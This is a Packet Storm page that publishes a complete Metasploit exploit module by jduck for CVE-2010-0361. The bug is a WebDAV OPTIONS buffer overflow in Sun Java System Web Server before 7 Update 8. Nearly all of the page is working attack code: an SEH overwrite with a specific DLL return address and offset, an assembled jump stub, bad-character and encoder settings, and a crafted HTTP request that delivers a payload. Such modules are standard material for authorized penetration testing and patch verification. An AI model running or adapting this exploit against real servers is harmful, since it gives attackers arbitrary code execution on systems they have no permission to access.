what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sun Java System Web Server WebDAV OPTIONS Buffer Overflow

Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
Posted May 3, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a buffer overflow in Sun Java Web Server prior to version 7 Update 8. By sending an "OPTIONS" request with an overly long path, attackers can execute arbitrary code. In order to reach the vulnerable code, the attacker must also specify the path to a directory with WebDAV enabled. This exploit was tested and confirmed to work on Windows XP SP3 without DEP. Versions for other platforms are vulnerable as well. The vulnerability was originally discovered and disclosed by Evgeny Legerov of Intevydis.

tags | exploit, java, web, overflow, arbitrary
systems | windows
advisories | CVE-2010-0361
SHA-256 | c3475168b519e0a4d79aa02d77825b2c1bfbe2132656b22f2313752701602378

Sun Java System Web Server WebDAV OPTIONS Buffer Overflow

Change Mirror Download
##
# $Id: sun_jsws_dav_options.rb 9202 2010-05-02 21:04:56Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/http'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java System Web Server WebDAV OPTIONS Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Sun Java Web Server prior to
version 7 Update 8. By sending an "OPTIONS" request with an overly long
path, attackers can execute arbitrary code. In order to reach the vulnerable
code, the attacker must also specify the path to a directory with WebDAV
enabled.

This exploit was tested and confirmed to work on Windows XP SP3 without DEP.
Versions for other platforms are vulnerable as well.

The vulnerability was originally discovered and disclosed by Evgeny Legerov of
Intevydis.
},
'Author' => 'jduck',
'Version' => '$Revision: 9202 $',
'References' =>
[
[ 'CVE', '2010-0361' ],
[ 'OSVDB', '61851' ],
[ 'URL', 'http://intevydis.blogspot.com/2010/01/sun-java-system-web-server-70u7-webdav.html' ],
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1' ]
],
'Platform' => [ 'win' ], #, 'linux', 'solaris', 'win' ],
'Privileged' => true,
'Payload' =>
{
'Space' => 2000,
# ugh.. crazy!
'BadChars' => ((0..8).to_a + (0xa..0x1f).to_a + [0x7f]).pack('C*'),
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
}
},
'Targets' =>
[
# No automatic target atm...
#[ 'Automatic', { } ],

[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 760,
'Ret' => 0x12012177 # p/p/r in xerces-C_2_6.dll
},
],

=begin
[ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (saved ret)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 184,
'Ret' => 0xdeadbeef
},
],

[ 'Sun Java System Web Server 7.0 update 7 on Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Offset' => 224,
# @ 220 - 0x09703e90
'Ret' => 0xdeadbeef
},
],

[ 'Sun Java System Web Server 7.0 update 7 on Windows x86',
{
'Platform' => 'solaris',
'Arch' => ARCH_SPARC,
'Offset' => 3133,
'Ret' => 0xdeadbeef
},
],
=end

#
# You can use this in order to devise other targets..
#
[ 'Debug Target', { } ]
],
'DisclosureDate' => 'Jan 20 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('PATH', [ true, "The URI path of a WebDAV collection on the server", '/webdav'])
], self.class)

end

def check

res = send_request_raw({
'method' => 'OPTIONS',
'proto' => 'HTTP',
'version' => '1.0',
'uri' => datastore['PATH']
}, 5)

if res and res['Server']
print_status("Found server: #{res['Server']}")
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe

end

def exploit

#
# various crashes from linux sjsws 7u7:
#
# 216 - 0xb5a7a384 <DACL_isMatchingSelf@plt+256>: jmp *0x268(%ebx), ebx: 0x41386741
# 220 - 0xb5a80000 <_ZN16DAVVirtualServerD1Ev+148>: add %ah,0x84d8bff(%edi,%edi,8), edi: 0x31684130
# 224 - 0x68413368 in ?? ()
# 244 - 0xb5a80ba4 <DACL_GetDACLListForUri+164>: movl $0xffffffff,(%eax), eax: 0x41306941
# 248 - 0xb5a836e7 <DACL_ReadDACLFile+79>: movl $0x0,(%edx), edx: 0x69413169
#
# on windows sjsws 7u7:
#
# 200 - 67413167 ?? ???
# 2000 - smashes SEH, hits end of stack, 357a4134
#

uri = ''
uri << datastore['PATH']
uri << '/' if uri[-1,1] != '/'

# Just crash it nicely...
if (target.name =~ /Debug Target/)
uri << Rex::Text.pattern_create(2000)
encoded = "\xcc"
encoded << "A" * (payload_space - 2)
encoded << "\xcc"

#sled = Rex::Text.charset_exclude(payload_badchars)
#encoded[32,sled.length] = sled

elsif (target.name =~ /\(SEH\)/)
off = target['Offset']
rest = ''
rest << rand_text_alphanumeric(off)

seh = generate_seh_record(target.ret)
stub = "
sub esp, -0x1a0
pop ecx
pop ecx
sub ecx, 0x3c
still:
mov al, [ecx]
cmp al, 0x41
jne nope
inc ecx
jmp still
nope:
jmp ecx
"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string

rest << Rex::Text.to_hex(seh, '%')
rest << "A" * 256
rest << payload.encoded
rest << rand_text_alphanumeric(2200 - rest.length)
uri << rest

encoded = rand_text_alphanumeric(32+rand(64))

# From CORE local PoC
#uri = '/' + ("D"*2000) + '/..' + datastore['PATH'] + '/' + rest
end

# NOTE: We could use this to avoid badchars, but it ends up putting a url encoded version
# of the payload in memory, not exactly what we want :-/
#encoded = Rex::Text.to_hex(pl, '%')

res = send_request_raw({
'method' => 'OPTIONS',
'proto' => 'HTTP',
'version' => '1.0',
'headers' =>
{
'Referrer' => encoded,
'User-Agent' => encoded
},
'uri' => uri
}, 5)

handler
end

end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close